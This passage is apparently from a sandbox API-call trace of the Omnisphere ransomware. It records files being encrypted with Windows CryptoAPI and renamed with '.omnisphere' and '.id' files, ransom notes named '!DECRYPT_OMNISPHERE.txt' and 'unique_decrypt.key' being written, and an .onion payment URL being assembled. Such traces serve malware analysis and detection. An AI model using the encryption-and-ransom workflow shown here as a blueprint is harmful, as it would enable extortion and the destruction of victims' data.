pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.745] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.746] CryptDestroyKey (hKey=0x1639868) returned 1 [0128.746] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0128.746] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4ef2, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.746] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.747] GetProcessHeap () returned 0x1600000 [0128.747] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x304) returned 0x16fe7c8 [0128.747] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\6824f4a902c78fbd.customDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\6824f4a902c78fbd.customdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\6824f4a902c78fbd.customDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\6824f4a902c78fbd.customdestinations-ms.omnisphere")) returned 1 [0128.748] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\6824f4a902c78fbd.customDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\6824f4a902c78fbd.customDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\6824f4a902c78fbd.customDestinations-ms.omnisphere.id" [0128.748] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\6824f4a902c78fbd.customDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\6824f4a902c78fbd.customdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.749] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.750] CloseHandle (hObject=0x388) returned 1 [0128.750] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.751] CloseHandle (hObject=0x3c0) returned 1 [0128.751] SetEndOfFile (hFile=0x288) returned 1 [0128.751] FlushFileBuffers (hFile=0x288) returned 1 [0128.759] CloseHandle (hObject=0x288) returned 1 [0128.759] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\6824f4a902c78fbd.customDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0128.759] GetProcessHeap () returned 0x1600000 [0128.759] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1713e08 [0128.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.759] GetProcessHeap () returned 0x1600000 [0128.760] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fddc0 [0128.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fddc0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.760] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.760] GetProcessHeap () returned 0x1600000 [0128.760] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710220 [0128.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710220, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.760] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.760] GetProcessHeap () returned 0x1600000 [0128.760] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd6) returned 0x16facc0 [0128.760] PathCombineW (in: pszDest=0x16facc0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.760] GetProcessHeap () returned 0x1600000 [0128.760] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x170d098 [0128.760] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.760] WriteFile (in: hFile=0x288, lpBuffer=0x170d098*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x170d098*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.761] CloseHandle (hObject=0x288) returned 1 [0128.761] GetProcessHeap () returned 0x1600000 [0128.761] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1713e08 | out: hHeap=0x1600000) returned 1 [0128.761] GetProcessHeap () returned 0x1600000 [0128.761] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xcc) returned 0x16241b0 [0128.761] PathCombineW (in: pszDest=0x16241b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key" [0128.761] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.761] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.761] CloseHandle (hObject=0x288) returned 1 [0128.762] GetProcessHeap () returned 0x1600000 [0128.762] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16241b0 | out: hHeap=0x1600000) returned 1 [0128.762] GetProcessHeap () returned 0x1600000 [0128.762] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.762] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfad9510, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe96819d1, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe96819d1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0xcc, cFileName="7e4dca80246863e3.customDestinations-ms", cAlternateFileName="7E4DCA~1.CUS")) returned 1 [0128.762] GetProcessHeap () returned 0x1600000 [0128.762] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf4) returned 0x160e0d8 [0128.762] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="7e4dca80246863e3.customDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms" [0128.762] StrStrW (lpFirst=".omnisphere", lpSrch=".customDestinations-ms") returned 0x0 [0128.762] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\7e4dca80246863e3.customdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.763] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=24) returned 1 [0128.763] GetTickCount () returned 0x11601ec [0128.763] GetTickCount () returned 0x11601ec [0128.763] GetTickCount () returned 0x11601ec [0128.763] GetTickCount () returned 0x11601ec [0128.763] GetTickCount () returned 0x11601ec [0128.763] GetTickCount () returned 0x11601ec [0128.763] GetTickCount () returned 0x11601ec [0128.763] GetTickCount () returned 0x11601ec [0128.763] GetTickCount () returned 0x11601ec [0128.763] GetTickCount () returned 0x11601ec [0128.763] GetTickCount () returned 0x11601ec [0128.763] GetTickCount () returned 0x11601ec [0128.763] GetTickCount () returned 0x11601ec [0128.763] GetTickCount () returned 0x11601ec [0128.763] GetTickCount () returned 0x11601ec [0128.763] GetTickCount () returned 0x11601ec [0128.763] GetTickCount () returned 0x11601ec [0128.763] GetTickCount () returned 0x11601ec [0128.763] GetTickCount () returned 0x11601ec [0128.764] GetTickCount () returned 0x11601ec [0128.764] GetTickCount () returned 0x11601ec [0128.764] GetTickCount () returned 0x11601ec [0128.764] GetTickCount () returned 0x11601ec [0128.764] GetTickCount () returned 0x11601ec [0128.764] GetTickCount () returned 0x11601ec [0128.764] GetTickCount () returned 0x11601ec [0128.764] GetTickCount () returned 0x11601fb [0128.764] GetTickCount () returned 0x11601fb [0128.764] GetTickCount () returned 0x11601fb [0128.764] GetTickCount () returned 0x11601fb [0128.764] GetTickCount () returned 0x11601fb [0128.764] GetTickCount () returned 0x11601fb [0128.764] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1669098) returned 1 [0128.765] CryptImportKey (in: hProv=0x1669098, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639528) returned 1 [0128.765] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.765] CryptDestroyKey (hKey=0x1639528) returned 1 [0128.765] CryptReleaseContext (hProv=0x1669098, dwFlags=0x0) returned 1 [0128.765] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18, lpName=0x0) returned 0x3c0 [0128.765] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18) returned 0x1480000 [0128.766] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16683d8) returned 1 [0128.766] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x16397a8) returned 1 [0128.767] CryptSetKeyParam (hKey=0x16397a8, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.767] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.767] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.767] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.767] CryptDestroyKey (hKey=0x16397a8) returned 1 [0128.767] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0128.767] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.767] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.769] GetProcessHeap () returned 0x1600000 [0128.769] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x304) returned 0x16fead8 [0128.769] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\7e4dca80246863e3.customdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\7e4dca80246863e3.customdestinations-ms.omnisphere")) returned 1 [0128.770] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms.omnisphere.id" [0128.770] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\7e4dca80246863e3.customdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.772] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.773] CloseHandle (hObject=0x388) returned 1 [0128.773] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.773] CloseHandle (hObject=0x3c0) returned 1 [0128.773] SetEndOfFile (hFile=0x288) returned 1 [0128.773] FlushFileBuffers (hFile=0x288) returned 1 [0128.777] CloseHandle (hObject=0x288) returned 1 [0128.777] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0128.777] GetProcessHeap () returned 0x1600000 [0128.777] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1713e08 [0128.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.777] GetProcessHeap () returned 0x1600000 [0128.777] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdc08 [0128.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdc08, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.777] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.777] GetProcessHeap () returned 0x1600000 [0128.777] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17100e0 [0128.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17100e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.777] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.778] GetProcessHeap () returned 0x1600000 [0128.778] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd6) returned 0x16fede8 [0128.778] PathCombineW (in: pszDest=0x16fede8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.778] GetProcessHeap () returned 0x1600000 [0128.778] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x171b130 [0128.779] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.783] WriteFile (in: hFile=0x288, lpBuffer=0x171b130*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x171b130*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.783] CloseHandle (hObject=0x288) returned 1 [0128.784] GetProcessHeap () returned 0x1600000 [0128.784] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1713e08 | out: hHeap=0x1600000) returned 1 [0128.784] GetProcessHeap () returned 0x1600000 [0128.784] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xcc) returned 0x16241b0 [0128.784] PathCombineW (in: pszDest=0x16241b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key" [0128.784] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.784] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.784] CloseHandle (hObject=0x288) returned 1 [0128.784] GetProcessHeap () returned 0x1600000 [0128.784] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16241b0 | out: hHeap=0x1600000) returned 1 [0128.784] GetProcessHeap () returned 0x1600000 [0128.784] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.785] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0effce, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x98e794b5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x98f80fc0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0xcc, cFileName="9d1f905ce5044aee.customDestinations-ms", cAlternateFileName="9D1F90~1.CUS")) returned 1 [0128.785] GetProcessHeap () returned 0x1600000 [0128.785] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf4) returned 0x160e0d8 [0128.785] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="9d1f905ce5044aee.customDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\9d1f905ce5044aee.customDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\9d1f905ce5044aee.customDestinations-ms" [0128.785] StrStrW (lpFirst=".omnisphere", lpSrch=".customDestinations-ms") returned 0x0 [0128.785] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\9d1f905ce5044aee.customDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\9d1f905ce5044aee.customdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.787] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=1612) returned 1 [0128.787] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x128, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.787] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0128.788] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x64c, lpName=0x0) returned 0x3c0 [0128.789] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0128.789] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.789] CloseHandle (hObject=0x3c0) returned 1 [0128.789] GetTickCount () returned 0x116020b [0128.789] GetTickCount () returned 0x116020b [0128.789] GetTickCount () returned 0x116020b [0128.789] GetTickCount () returned 0x116020b [0128.789] GetTickCount () returned 0x116020b [0128.789] GetTickCount () returned 0x116020b [0128.789] GetTickCount () returned 0x116020b [0128.789] GetTickCount () returned 0x116020b [0128.789] GetTickCount () returned 0x116020b [0128.789] GetTickCount () returned 0x116020b [0128.789] GetTickCount () returned 0x116020b [0128.789] GetTickCount () returned 0x116020b [0128.789] GetTickCount () returned 0x116020b [0128.789] GetTickCount () returned 0x116020b [0128.789] GetTickCount () returned 0x116020b [0128.789] GetTickCount () returned 0x116020b [0128.789] GetTickCount () returned 0x116020b [0128.789] GetTickCount () returned 0x116020b [0128.789] GetTickCount () returned 0x116020b [0128.790] GetTickCount () returned 0x116020b [0128.790] GetTickCount () returned 0x116020b 